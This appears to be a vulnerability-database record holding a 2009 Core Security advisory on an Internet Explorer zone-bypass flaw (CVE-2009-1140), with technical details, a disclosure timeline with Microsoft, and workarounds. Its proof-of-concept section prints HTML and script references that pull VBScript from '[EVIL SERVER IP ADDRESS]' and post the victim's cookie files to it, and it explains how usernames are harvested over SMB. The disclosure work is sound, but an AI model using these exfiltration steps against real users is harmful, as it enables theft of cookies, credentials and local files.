ADDRESS]\thereisnosuchfile.gif">\r\n</body>\r\n</html>\r\n\r\n- -----------/\r\n\r\n\r\n\r\nIn turn, the next files in the redirecting chain ('setSecondScript.htm'\r\nand 'setFirstScript.htm' ) will also be used to accomplish the same\r\nsecond objective as the starting page. As stated before this will result\r\nin the victim's 'index.dat' history file storing the HTML code passed\r\ninside the query string in plaintext. The HTML code stored up to this\r\npoint would look like this:\r\n\r\n/-----------\r\n\r\n<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP\r\nADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'>\r\n<input type='hidden' name='data' id='data'>\r\n<input type='submit' value='Submit'>\r\n</form>\r\n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/\r\nstealcookies.vbs'></script>\r\n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/\r\nscripty.vbs'></script>\r\n\r\n- -----------/\r\n\r\n\r\n\r\nAt this point, the victim's browser will be served with\r\n'setFirstScript.htm'. This page will just redirect the browser to\r\nanother page ('frameset.htm'), which simply defines the frames where the\r\nlast page ('object.htm') referencing the 'index.dat' file will be loaded\r\ninto.\r\n\r\nThe HTML code used for loading the index.dat file and rendering it as\r\nHTML code is just a simple HTML '<object>' tag:\r\n\r\n/-----------\r\n\r\n<object data="index.dat.english.pl" type="text/html" width="100%"\r\nheight="50"></object>\r\n- -----------/\r\n\r\n\r\n\r\nAs can be seen, this is the file we generated in the first step based\r\nupon the actual 'USERNAME' we obtained. In turn, this file will just\r\nredirect the request to the victim's 'index.dat':\r\n\r\n/-----------\r\n\r\nStatus: 302 Found\r\nContent-type: text/html\r\nLocation:\r\nfile://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat\r\n\r\n- -----------/\r\n\r\n This indirection level is required to avoid Internet Explorer from\r\nprompting the user to download the target file.\r\n\r\nIf loaded, the file will execute under the *Internet\r\n Zone* with the access rights of such zone but, given that the file\r\nis served from the local disk, with the ability to read any file in the\r\nlocal drive. However, success of the attack will depend on the ability\r\nto obtain or guess the right username as explained later.\r\n\r\nBy taking advantage of these sequence of actions, the script named\r\n'scripty.vbs' will read the victim's 'index.dat' located at\r\n'C:\Documents and settings\USERNAME\Cookies\' which indexes the whole\r\nset of HTTP cookie files managed by IE and send it back to the malicious\r\nserver using an HTML '<form>' we have set previously. At the server\r\nside, the PERL script named 'newCGI.pl' will:\r\n\r\n . process the received file, and store it in the server;\r\n . create the script named 'stealcookies.vbs' considering the cookies\r\nfilenames gathered from the stolen file;\r\n . redirect the victim's browser back to the 'framset.htm' page.\r\n\r\nThis time, when the victim's history 'index.dat' file is rendered again,\r\nthe script 'stealcookies.vbs' will be loaded. This script will read\r\nevery single cookie file the user has stored in the aforementioned\r\nInternet Explorer cookie's folder and will send the contents back to the\r\nserver using the same HTML '<form>' used before. On the server side the\r\none in charge of processing this data will be the Perl script named\r\n'newCGI.pl'. This time, it will:\r\n\r\n . Process the received file, and store it in the server under the\r\nname of 'stolen.txt';\r\n . Redirect the victim's browser back to this file.\r\n\r\n\r\n8.2. *Obtaining the right USERNAME*\r\n\r\nTo get the right username, we can take advantage of some other\r\nidiosyncrasies of Internet Explorer. If it is possible to make outbound\r\nSMB requests to an untrusted web server we can leverage that to include\r\ninside the main page some references to inexistent resources in our\r\nserver. The client will attempt to establish a SMB connection against it\r\nfrom where the 'USERNAME' could be obtained as well as some other useful\r\ndata such as the 'COMPUTERNAME' or the ciphered challenge/response.\r\n\r\nOur proof of concept contemplates 2 possibilities:\r\n\r\n 1. The victim's machine is able to establish a connection to the port\r\n445 (NetBIOS over TCP/IP) on the malicious server in which case the\r\ncorrect 'USERNAME' can be obtained to build the right UNC path to the\r\n'index.dat' file:\r\n\r\n/-----------\r\n\r\n\\127.0.0.1\C$\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5\index.dat\r\n- -----------/\r\n\r\n\r\n 2. The port 445 is not allowed for outbound connections in which case\r\nthe code will simple try to guess the right username using common names\r\nsuch as Administrator to build an UNC path like the following:\r\n\r\n/-----------\r\n\r\n\\127.0.0.1\C$\Documents and settings\Administrator\Local\r\nsettings\History\History.IE5\index.dat\r\n- -----------/\r\n\r\n\r\n\r\n In both cases, the file will be rendered as belonging to the *Internet\r\nZone*.\r\n\r\n\r\n8.3. *Proof of Concept Files*\r\n\r\nThe Proof of Concept can be downloaded from\r\nhttp://www.coresecurity.com/files/attachments/PoC-CORE-2008-0826.zip.\r\nThis would be a package with the following files:\r\n\r\n . 'evilsite.htm': The main page, which shots the SMB requests and\r\nredirects to 'setForm.htm' passing, as part of the query string, HTML\r\ncode to be set in the history 'index.dat' file.\r\n . 'setForm.htm': This page acts as a bridge (receives the evil\r\nscripting code as a query string parameter) and redirects to\r\n'setSecondScript.htm' passing HTML code to be set in the history\r\n'index.dat' file.\r\n . 'setSecondScript.htm': This page acts as a bridge (receives the\r\nevil scripting code as a query string parameter) and redirects to\r\n'setFirstScript.htm' passing HTML code to be set in the history\r\n'index.dat' file.\r\n . 'setFirstScript.htm': This page acts as a bridge (receives the evil\r\nscripting code as a query string parameter) and just redirects to\r\n'frameset.htm'.\r\n . 'frameset.htm': This page defines the frames where the page trying\r\nto access the 'index.dat' file will be loaded into.\r\n . 'stealCookies.htm': Same as frameset.htm, this page defines the\r\nframes where the page trying to access the 'index.dat' file will be\r\nloaded into.\r\n . 'object.htm': The page to be loaded in 'frameset.htm'. It covers\r\nthe test cases 1 and 2 explained above in this document.\r\n . 'captureSMB.pl': This script must be running in the example server.\r\nIt will be listening for SMB requests, and when they occur, will create\r\na pair of 'index.dat.[LANG].pl' files, attempting to cover a couple of\r\nWindows OS languages.\r\n . 'newCGI.pl': This file will handle the files received from\r\nscritpy.vbs, generate the script named 'stealcookies.vbs' and, in a\r\nsubsequent call, will receive and store the stolen cookies.\r\n . 'scripty.vbs': A script file loaded by the HTML code written in the\r\n'index.dat' file. It will send the victim's cookies 'index.dat' file\r\nback to the server.\r\n . 'index.dat.english.default.pl': A redirect to the file assuming the\r\nuser Administrator under an English language Windows version.\r\n . 'index.dat.spanish.default.pl': A redirect to the file assuming the\r\nuser Administrador under a Spanish language Windows version.\r\n\r\n\r\n9. *Report Timeline*\r\n\r\n. 2008-10-08:\r\nCore Security Technologies notifies the Microsoft Security Response\r\nCenter (MSRC) that a vulnerability has been found in Internet Explorer\r\n(IE). Core sends a draft security advisory with technical details and\r\nPoC files and announces its initial plan to publish the advisory on\r\nDecember 1st, 2008.\r\n\r\n. 2008-10-09:\r\nThe MSRC acknowledges notification.\r\n\r\n. 2008-10-09:\r\nMSRC states that it is currently investigating the reported issue.\r\n\r\n. 2008-10-14:\r\nMSRC announces the investigation was completed. The flaw can be\r\nreproduced by the vendor and it is considered a bulletin class issue.\r\n\r\n. 2008-10-14:\r\nMSRC announces that the vendor will not be able to hit a December\r\nrelease date due to the mandatory quality test cycle required for IE\r\nupdates.\r\n\r\n. 2008-10-16:\r\nCore asks MSRC for an estimated date to fix these issues.\r\n\r\n. 2008-11-04:\r\nCore requests an answer to the previous mail and also details about:\r\n\r\n 1. the root cause of the problem,\r\n 2. the list of affected platforms, and\r\n 3. the severity rating Microsoft has assigned to the bug.\r\n\r\n. 2008-11-05:\r\nMSRC responds that patches to IE ship every two months and the next\r\navailable ship date will be February 10th. The case is currently rated\r\nas an Important class Information Disclosure vulnerability. Vendor\r\nprovides a list of affected components and platforms. The MSRC was able\r\nto reproduce this issue on all IE versions with the following\r\nexceptions: IE7 and IE8 in Windows Vista when Protected Mode is ON. In\r\nspite of that MSRC does not include IE8 in list of affected components\r\nbecause it is still a beta product.\r\n\r\n. 2009-01-08:\r\nCore asks MSRC if it is still on track to release patches on February\r\n10th, 2009.\r\n\r\n. 2009-01-09:\r\nMSRC responds that the out-of-band fix released in December [6] took a\r\nlot of the resources that were assigned to February's release schedule\r\nand will not be able to meet the February release date. MSRC informs the\r\nnext available release date would be April 14th, 2009.\r\n\r\n. 2009-03-23:\r\nCore asks MSRC if it is still on track to release fixed versions on\r\nApril 14th.\r\n\r\n. 2009-03-26:\r\nMSRC responds the product team addressed this issue in IE8 [7] with the\r\nplan to port that code fix down-level (IE7, IE6 and IE5). In order to\r\naccomplish these fixes in the previous IE versions, MSRC informs Core\r\nthe first available scheduled release in the future will be in June, 2009.\r\n\r\n. 2009-03-26:\r\nCore indicates that the previous email from MSRC is quite confusing. It\r\nseems to indicate that the vulnerability is already fixed in IE8 whereas\r\nat the time of the original report IE8 was still a beta product and\r\nthere was not any communication from MSRC indicating whether the problem\r\nwas going to be fixed nor a tentative date for such fix. Core asks MSRC\r\nto confirm that the vulnerability was indeed fixed in the released\r\nversion of IE8 while two consecutive tentative released date for patches\r\nto the officially confirmed vulnerable versions IE5 to IE7 have been\r\nmissed. In the case of such confirmation Core also asks clarification\r\nabout Microsoft's previously stated policy of releasing fixes for all\r\nvulnerable versions at the same time as indicated in the emails\r\nexchanged during the reporting process of a IE vulnerability closely\r\nrelated to this one that Microsoft catalogued as an Outlook\r\nExpress/Windows Mail bug [8]. Core indicates that it considers that an\r\n8-month release cycle is well beyond the reasonable time frame to issue\r\nfixes for a bug that it considered rooted at the same cause of a\r\npreviously reported one, for which differences in its technical analysis\r\nwere not resolved because Microsoft repeatedly ignored request for a\r\ntechnical root cause analysis. Therefore, pending answers to the above\r\nquestions and specific technical details about the root cause of the\r\nproblem and when, how and which platforms have the bug fixed Core will\r\nproceed with publication on April 14th as previously agreed. In the\r\nmeantime Core will further investigate the issue in order to provide\r\ncustomers, ISVs and the security community all the necessary information\r\nto assess their risk and independently devise fixes, workarounds or\r\nmitigations.\r\n\r\n. 2009-04-08:\r\nCore requests an answer to the previous mail. Core is on track to\r\npublish the security advisory and would like confirmation that the\r\nreleased version of IE8 fixed the bug.\r\n\r\n. 2009-04-08:\r\nMSRC notifies Core that the reason why IE8 did ship with this fix ahead\r\nof the down-level versions was because IE8 was already in-development\r\nand it was safer and cleaner to check in this fix into the existing\r\ndevelopment cycle of IE8. MSRC also confirms that the bug is fixed in\r\nthe currently released version of IE8 and it is currently being\r\nback-ported to the down-level versions of IE. MSRC indicates that it\r\ndoes not document security fix changed in the latest products if the\r\nvulnerability continues to exist in down-level support platforms which\r\nhelps Microsoft to "not zero-day the down-level platforms" and gives the\r\nopportunity to provide updates for them. MSRC states that the vendor is\r\ncurrently in the path to release the update in June and would appreciate\r\nit if it could coordinate the release of Core's advisory on that same time.\r\n\r\n. 2009-04-13:\r\nCore notifies that probably the advisory will be released in a week\r\nalthough the final decision has not been made yet and that a vendor\r\nstatement and workarounds would be highly appreciated. Core is working\r\non the final version of the advisory and would like to improve the\r\nworkaround and mitigation sections, for that purpose it is requesting\r\nassistance from the vendor. Core asks MSRC for mitigation and\r\nworkarounds for users not running IE8. It also notifies that upon\r\nfurther research it found a variation of the original attack that may\r\nstill compromise the original release of IE8. Other versions of IE8\r\n(with the same version and build number) do not seem to be vulnerable to\r\nthe attack variation. The 'non-vulnerable' instance of IE8 tested was\r\npatched by Windows auto-update in or around April 7th. Core asks MSRC to\r\nconfirm whether the original IE8 release was vulnerable to bug and the\r\nbug later silently fixed by an update shipped through Windows auto-update.\r\n\r\n. 2009-04-14:\r\nMSRC asks Core more details about the version of IE8 that was\r\nsuccessfully compromised by a variation of the original attack. The MSRC\r\nnotifies the original attack was addressed in the RC1 version of IE8 and\r\nwants to make sure there is not an issue with the fix.\r\n\r\n. 2009-04-14:\r\nMSRC indicates that received verification from the product team that\r\nProtected Mode ON for the Internet Zone does block the attack in IE7.\r\nThe vendor states that it is currently investigating the IE8 specific\r\nmitigations. With regards to IE8 the product team included the fix in RC\r\nof IE8 which was released in January and it is unsure about the\r\ndifferences between vulnerable and non-vulnerable instances of IE8. The\r\nproduct team is still working on the fixes for the next release but MSRC\r\nwould like to make private binaries available for testing in the event\r\nthat Core postpones publication of the advisory. MSRC offers to setup a\r\nconference call to discuss some of the challenges of fixing this bug and\r\nwhy it required in-depth investigation.\r\n\r\n. 2009-04-16:\r\nCore Security and the Secure Windows Initiative (SWI) discuss this issue\r\nin a conference call. The vendor states that it will obtain a list of\r\nnon-security updates released for IE8 post RTM and obtain a similar list\r\nfor Office and Windows since April 1st. The goal is to understand\r\nwhether a non-security update has fixed a security bug. The vendor will\r\nalso provide the technical description and the private fixed bits for\r\nthis specific issue when available. Core is going to provide (in the\r\nnext couple of days) the version of the IE8 that seems to be affected by\r\nthis issue, and the modified PoC that was used to reproduce the problem\r\non IE8. Core will inform MSRC of publishing date for the corresponding\r\nsecurity advisory when the decision is made.\r\n\r\n. 2009-04-17:\r\nCore sends technical details, the list of fixes installed on vulnerable\r\nand non-vulnerable systems and modified Proof of Concept that works on\r\ncertain versions of IE8 RTM and does not on others. In both cases the\r\nversion and build number are exactly the same. Core have also found\r\nthat, although the PoC sent to MSRC in the original report does not work\r\non IE8 RTM, a variation of it continues to work in certain cases.\r\nBasically, it seems that IE8 RTM prevented code from being executed from\r\n'index.dat' mapped anywhere lower than an 0x4000 offset but if the\r\noffending code is above 0x4000 and not from 'index.dat' it can still be\r\nexecuted.\r\n\r\n. 2009-04-17:\r\nMSRC notifies there were two updates released at the end of March. One\r\nwas a Compatibility View List [9] and the second was an SPAD fix [10]\r\nthat affects Vista X64 only. Vendor also notifies they are going to\r\ninvestigate whether this might have impacted the original attack vector.\r\nThe technical analysis of the problem determined that the HTML engine\r\nchecks the mime type for file it cannot handle and if there is not a\r\nmatch MIME sniffing is performed without a predetermined hint, unknown\r\nfiles are treated as HTML due to the redirection and in absence of a\r\nspecific content-type MIME-sniffing will end up defaulting to text/html.\r\n\r\n. 2009-04-22:\r\nMSRC sends patched binaries for Vista/IE7. These binaries are the fix\r\nfor the first issue submitted by Core and do not fix the second PoC sent\r\nby Core the previous week. MSRT also provides some workarounds for the\r\nfirst PoC reported. The IE team has investigated the additional PoC and\r\nhas determined that while functionally it appears the same as the\r\noriginal issue submitted, when debugged the actions taken by the system\r\nare controlled by different functions, and this difference is\r\nsignificant enough to perform further investigation. The vendor asks to\r\nre-schedules the advisory publication date to June 2009.\r\n\r\n. 2009-04-22:\r\nMSRC asks additional details about the attack vectors discussed between\r\nCore and the Secure Windows Initiative (SWI) in the last conference call\r\n(16th, April). MSRC indicates that it has identified two workarounds for\r\nthe original issue: Disabling scripting (which is default for Enhanced\r\nSecurity Configuration on Windows 2003 and Windows Server 2008) and\r\ndisabling "Run ActiveX Controls and plugins". The IE team has\r\ninvestigated the second PoC and determined that the functionality\r\nappears the same but when debugged the actions performed by the system\r\nare different. The differences are considered significant enough to\r\nperform further investigation. MSRC proposes to release the fix for the\r\nissue originally reported in June and to continue investigation on the\r\nsecond PoC afterwards.\r\n\r\n. 2009-04-23:\r\nCore responds that, according to the technical information provided by\r\nthe IE team it appears that the problem could be exploitable with *any*\r\nlocal file loaded through a redirection and thus defaulting to text/html\r\nthat is not explicitly known by the HTML engine (Trident) and for which\r\nIE would end up defaulting to html as hinted. The mention of specific\r\nfiles during the conference call was just as an example of a potential\r\nvector but not a confirmed exploitation method that was explicitly\r\ndiscussed.\r\n Core also notifies the advisory publication will be delayed at least\r\nuntil next Wednesday (April 28th) since it appears that the bug was not\r\nactually fixed properly in IE8 and that new information has been provided.\r\n\r\n. 2009-04-23:\r\nCore also suggests some mitigation actions to prevent the exploitation\r\nof this flaw. For example, by explicitly constraining 'file://127.0.0.1'\r\nto a given zone (i.e. Intranet) and then disabling "Websites in less\r\nprivileged web content zone can navigate into this zone" for that zone.\r\n\r\n. 2009-04-24:\r\nMSRC notifies that it would be possible to bypass the suggested\r\nworkaround if a malicious site had its domain name resolve to 127.0.0.1\r\nsince Zone determination does not depend on name resolution.\r\n\r\n. 2009-04-24:\r\nCore suggests other possible workarounds that involve explicitly setting\r\nthe two UNC forms of targeting the localhost IP addressing the Internet\r\nZone and setting the security level to High which seems to be in line\r\nwith the suggestions from Microsoft's knowledgebase article about the IE\r\nEnhanced Security Configuration and asks for additional technical\r\ndetails to clarify the last email from MSRC. Core asks for clarification\r\nabout the zone determination algorithm.\r\n\r\n. 2009-04-24:\r\nMSRC provides further technical analysis, and notifies that some of the\r\nproposed workarounds would work on all affected versions of IE.\r\n\r\n. 2009-04-28:\r\nThe vendor asks to re-schedule the advisory publication date for a\r\ncoordinated release during the regular June bulletin release cycle.\r\n\r\n. 2009-05-04:\r\nCore responds that it decided to set the publication date for the\r\nsecurity advisory to Tuesday June 9th, 2009. This will give MSFT the\r\nopportunity to ship an official patch for all vulnerable versions of IE\r\nin the next available patch release cycle. Core also notifies this date\r\nis final and that in absence of an official fix Core will nonetheless\r\npublish the security advisory with all the technical details and\r\ninformation necessary for third parties to understand the risk and\r\nfigure out and apply workarounds or mitigating measures.\r\n\r\n. 2009-05-06:\r\nMSRC indicates that it would like to set up a conference call to clarify\r\nthe concerns about workarounds and to discuss additional possible\r\nmitigation actions.\r\n\r\n. 2009-05-26:\r\nCore ask for the status of the fix and whether it is on schedule for the\r\nJune 9th release, responds that it prefers to keep the communication\r\nprocess properly documented by e-mail but notifies that a conference\r\ncall would be possible if the vendor feels that it is absolutely\r\nnecessary or the best way to discuss workarounds and mitigation actions.\r\n\r\n. 2009-05-28:\r\nMSRC notifies the fix for the issue submitted in October 2008 is on\r\ntrack to be released on the second Tuesday in June 2009. Vendor is still\r\ndetermining the best way to address the additional PoC provided for IE8,\r\nand MSRC asks for a conference call to clarify some confusion of the\r\nproposed workarounds and mitigations.\r\n\r\n. 2009-06-01:\r\nCore notifies the possible timeslot for setting up a conference call\r\nwith MSRT would be June 2nd or June 4th. Core also asks if the vendor is\r\nconsidering the second PoC as a separate vulnerabilities or just\r\nvariations on how to exploit the same bug.\r\n\r\n. 2009-06-01:\r\nMSRC suggests setting up the conference call on June 4th. The vendor\r\nalso notifies that during the investigation of the 2nd PoC, when\r\ndebugged, the system actions are controlled by different functions and\r\nthe difference is significant enough to address the 2nd PoC as a whole.\r\n\r\n. 2009-06-02:\r\nCore responds it would be available for a conference on June 4th.\r\nConference call set scheduled.\r\n\r\n. 2009-06-04:\r\nConference call attended by MSRC, IE team member, Core security\r\nadvisories team and vulnerability researchers.\r\n\r\n. 2009-06-04:\r\nCore sends MSRC notes taken during the conference call. Actions items:\r\n\r\n . MSRC to provide workaround and mitigations and to follow-up on\r\nissues demonstrated by the second PoC.\r\n . Core to further investigate workarounds and mitigations and to\r\nprovide MSRC the final draft of the advisory before publication (by\r\nMonday).\r\n\r\n. 2009-06-04:\r\nMSRC sends notes of the conference call. Official workarounds and\r\nmitigating factors to be included in the Security Bulletin and link the\r\nSecurity Research and Defense blog with additional information.\r\n\r\n. 2009-06-04:\r\nCore suggests the use of the Protocol Lockdown feature control as\r\npossible workaround.\r\n\r\n. 2009-06-05:\r\nMSRC confirms that Protocol Lockdown is a feasible workaround. Details\r\nwill be included in the Security Research and Defense blog.\r\n\r\n. 2009-06-09:\r\nFinal draft of the advisory sent to MSRC.\r\n\r\n. 2009-06-09:\r\nCore Security Advisory CORE-2008-0826 published.\r\n\r\n\r\n10. *References*\r\n\r\n[1] http://www.techzoom.net/publications/insecurity-iceberg/index.en\r\n[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx.\r\n[3]\r\nhttp://blogs.technet.com/srd/archive/2009/06/09/cve-2009-1140-benefits-of-ie-protected-mode-additional-network-protocol-lockdown-workaround.aspx\r\n[4] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx\r\n[5] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx\r\n[6] http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx.\r\n[7] Internet Explorer 8.0 was officially released at this time leaving\r\nthe 'beta stage'.\r\nhttp://www.microsoft.com/windows/internet-explorer/default.aspx.\r\n[8] http://www.coresecurity.com/content/internet-explorer-zone-elevation\r\n[9] Compatibility View KB968220 -\r\nhttp://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d\r\nand http://support.microsoft.com/?kbid=968220.\r\n[10] SPAD link - http://support.microsoft.com/kb/969058.\r\n\r\n\r\n11. *About CoreLabs*\r\n\r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\nhttp://www.coresecurity.com/corelabs.\r\n\r\n\r\n12. *About Core Security Technologies*\r\n\r\nCore Security Technologies develops strategic solutions that help\r\nsecurity-conscious organizations worldwide develop and maintain a\r\nproactive process for securing their networks. The company's flagship\r\nproduct, CORE IMPACT, is the most comprehensive product for performing\r\nenterprise security assurance testing. CORE IMPACT evaluates network,\r\nendpoint and end-user vulnerabilities and identifies what resources are\r\nexposed. It enables organizations to determine if current security\r\ninvestments are detecting and preventing attacks. Core Security\r\nTechnologies augments its leading technology solution with world-class\r\nsecurity consulting services, including penetration testing and software\r\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\r\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\r\nhttp://www.coresecurity.com.\r\n\r\n\r\n13. *Disclaimer*\r\n\r\nThe contents of this advisory are copyright (c) 2009 Core Security\r\nTechnologies and (c) 2009 CoreLabs, and may be distributed freely\r\nprovided that no fee is charged for this distribution and proper credit\r\nis given.\r\n\r\n\r\n14. *PGP/GPG Keys*\r\n\r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.7 (MingW32)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org\r\n\r\niD8DBQFKLtOEyNibggitWa0RAvvyAKCI46nwvU9vnduhVXILQxTdjDvS5QCfeT4Z\r\nVVaWDRlQgd4vAFGQO+I4HW0=\r\n=KI4M\r\n-----END PGP SIGNATURE-----\r\n\r\n_______________________________________________\r\nFull-Disclosure - We believe in it.\r\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\r\nHosted and sponsored by Secunia - http://secunia.com/", "edition": 1, "modified": "2009-06-10T00:00:00", "published": "2009-06-10T00:00:00", "id": "SECURITYVULNS:DOC:21983", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21983", "title": "[Full-disclosure] CORE-2008-0826 - Internet Explorer Security Zone restrictions bypass", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1140"], "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n Core Security Technologies - CoreLabs Advisory\r\n http://www.coresecurity.com/corelabs/\r\n\r\n Internet Explorer Security Zone restrictions bypass\r\n\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: Internet Explorer Security Zone restrictions bypass\r\nAdvisory ID: CORE-2008-0826\r\nAdvisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass\r\nDate published: 2009-06-09\r\nDate of last update: 2009-06-09\r\nVendors contacted: Microsoft\r\nRelease mode: Coordinated release\r\n\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: Client side\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: Yes\r\nBugtraq ID: 33178\r\nCVE Name: CVE-2009-1140\r\n\r\n\r\n3. *Vulnerability Description*\r\n\r\nInternet Explorer (IE) is the most widely used Web browser, with an\r\nestimated count of 1,100 million users according to a worldwide survey\r\nconducted and published in 2008 [1]. This advisory describes a\r\nvulnerability that provides access to the contents of any file stored in\r\nthe local filesystem of user's machines running vulnerable versions of IE.\r\n\r\nExploitation of the vulnerability relies solely on the ability for a\r\nwould-be attacker to provide malicious HTML content from a website and\r\nto predict the full pathname for the file that will be used to cache it\r\nlocally on the victim's system. If the entire path name can be\r\npredicted, the attacker can cause a redirection to the locally stored\r\nfile using an URI specified in UNC form and force the local content to\r\nbe rendered as an HTML document, which will permit to run scripting\r\ncommands and instantiate certain ActiveX controls.\r\n\r\nAs a result of a successful attack, security or privacy-sensitive\r\ninformation can be obtained by an attacker including but not limited to\r\nuser authentication credentials for any web application domain, HTTP\r\ncookies, session management data, cached content of web applications in\r\ndifferent domains and any files stored on local filesystems.\r\n\r\nThe bug is related to a lack of enforcement of security policies\r\nassigned to URL Security Zones [2] when content from the corresponding\r\nzone is loaded and rendered from a local file. These issues have been\r\nfound in the way that security policies are applied when a URI is\r\nspecified in the UNC form (i.e., '\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'):\r\n\r\n 1. When a remote site attempts to access a local resource, IE will\r\nfail to enforce the Zone Elevation restrictions.\r\n 2. When browsing a remote site, IE will not properly enforce the\r\nSecurity Zone permissions, allowing a site belonging to a less secure\r\nzone to be treated as belonging to a more privileged one.\r\n\r\n\r\n4. *Vulnerable packages*\r\n\r\n . Internet Explorer 5.01 Service Pack 4\r\n . Internet Explorer 6.0\r\n . Internet Explorer 6.0 Service Pack 1\r\n . Internet Explorer 7 (not exploitable with Protected mode on,\r\navailable on Vista)\r\n\r\n\r\n4.1. *Vulnerable platforms*\r\n\r\n . Microsoft Windows 2000 up to and including Service Pack 4\r\n . Microsoft Windows Server 2003 up to and including Service Pack 2\r\n . Microsoft Windows XP up to and including Service Pack 3\r\n . Windows Vista up to and including Service Pack 1 (not exploitable\r\nwith IE running with Protected mode on)\r\n . Windows Server 2008\r\n\r\n\r\n5. *Non-vulnerable packages*\r\n\r\n . Internet Explorer 8 under Windows 2000/2003/XP/Vista\r\n\r\n\r\n6. *Vendor Information, Solutions and Workarounds*\r\n\r\nThe following workarounds can prevent exploitation of the vulnerability:\r\n\r\n . Use Internet Explorer's Protocol Lockdown feature control to\r\nrestrict the "file" protocol to prevent HTML from UNC path to run script\r\nor ActiveX controls.\r\n . Set the Security Level setting for the Internet and Intranet Zones\r\nto High to prevent IE from running scripts or ActiveX controls.\r\n . Manually disable Active Scripting for the Internet and Intranet\r\nZone with a custom security setting.\r\n . Only run IE in Protected Mode if it is available on the operating\r\nsystem.\r\n . Use a different web browser to navigate untrusted web sites.\r\n\r\nAdditionally, although disabling file sharing if it is not necessary and\r\nfiltering outbound SMB connections at the endpoint or network perimeter\r\nmay not prevent exploitation it is generally a good security measure to\r\nprevent disclosure of sensitive information such as valid usernames of\r\nendpoint users.\r\n\r\nMicrosoft has issued a patch to fix the vulnerability and a detailed\r\ndescription of how to implement the workarounds on IE. It is available\r\nas Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860.\r\n\r\nMicrosoft's Research and Defense blog has further discussion about the\r\nvulnerability, workarounds and mitigations [3].\r\n\r\n\r\n7. *Credits*\r\n\r\nThis vulnerability was discovered and researched by Jorge Luis Alvarez\r\nMedina from Core Security Consulting Services (SCS). Additional research\r\nwas made by Federico Muttis from Core Security Exploit Writers Team (EWT).\r\n\r\n\r\n8. *Technical Description / Proof of Concept Code*\r\n\r\n Internet Explorer uses a feature known as URL Security Zones [2], which\r\ndefines a set of privileges for Web sites and applications depending on\r\ntheir apparent level of trustworthiness. The zones available in the\r\nproduct include:\r\n\r\n . *Internet Zone: * For Web sites on the Internet that do not belong\r\nto another zone.\r\n . *Local Intranet Zone: * For content located on an organization's\r\nintranet.\r\n . *Trusted Sites Zone: * For content located on Web sites that are\r\nconsidered more reputable or trustworthy than other sites on the Internet.\r\n . *Restricted Sites Zone: * For Web sites that contain content that\r\ncan cause (or have previously caused) problems when downloaded.\r\n . *Local Machine Zone: * This is an implicit zone for content that\r\nexists on the local computer and it is not directly configurable through\r\nInternet Explorer security options by the user.\r\n\r\nInternet Explorer users or Administrators can assign specific websites\r\nor domains to any of the available zone except the Local Machine Zone.\r\nThe ability for a given website to perform security-sensitive operations\r\non the web browser is determined by the *Security Level* of the zone to\r\nwhich the site was assigned. Each zone can be set to one of three preset\r\nsecurity levels (High, Medium-High, Medium) or to a custom level with\r\nsecurity policy settings specified by the user or administrator.\r\n\r\nBy default, all websites that are determined not to be in the Local\r\nIntranet zone and are not explicitly listed in the Restricted Sites or\r\nTrusted Sites zones are assigned the *Internet Zone* which has a default\r\nsecurity setting of Medium-High. Thus, for most IE users the\r\nsecurity-sensitive actions that a browser is allowed to perform while\r\nconnected to an untrusted Internet site are those specified by the\r\nsecurity policies of the Internet Zone at the Medium-High security level.\r\n\r\nThere are some issues in the way IE enforces zone security policies when\r\nan URI is specified in the UNC form (i.e.,\r\n'\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'). In this case, Internet\r\nExplorer classifies as *Internet Zone* any UNC address pointing to an IP\r\naddress including '127.0.0.1'. As a result, any website (belonging to\r\nany security zone) can address and redirect the navigation flow to files\r\nstored in '\\127.0.0.1'.\r\n\r\nIf an attacker controlling a website finds a way to store HTML with any\r\nvalid scripting code the local file system of the visitor and then\r\nredirects the browser's navigation flow that local file\r\n('\\127.0.0.1\full_file_name'), then this code will be loaded and\r\nrendered as if it belonged to the *Internet Zone* but since the file\r\ncontaining it is stored in '\\127.0.0.1' it would also be able to access\r\nany other file on the visitor's file system.\r\n\r\nThe problem is derived from the sequence of actions performed by\r\nInternet Explorer to determine the content-type of the content to be\r\nloaded and the appropriate way to render it. The algorithm followed for\r\nthis purpose is described in Microsoft's Knowledgebase article titled\r\nMIME Type Detection in Internet Explorer [4] and implemented in 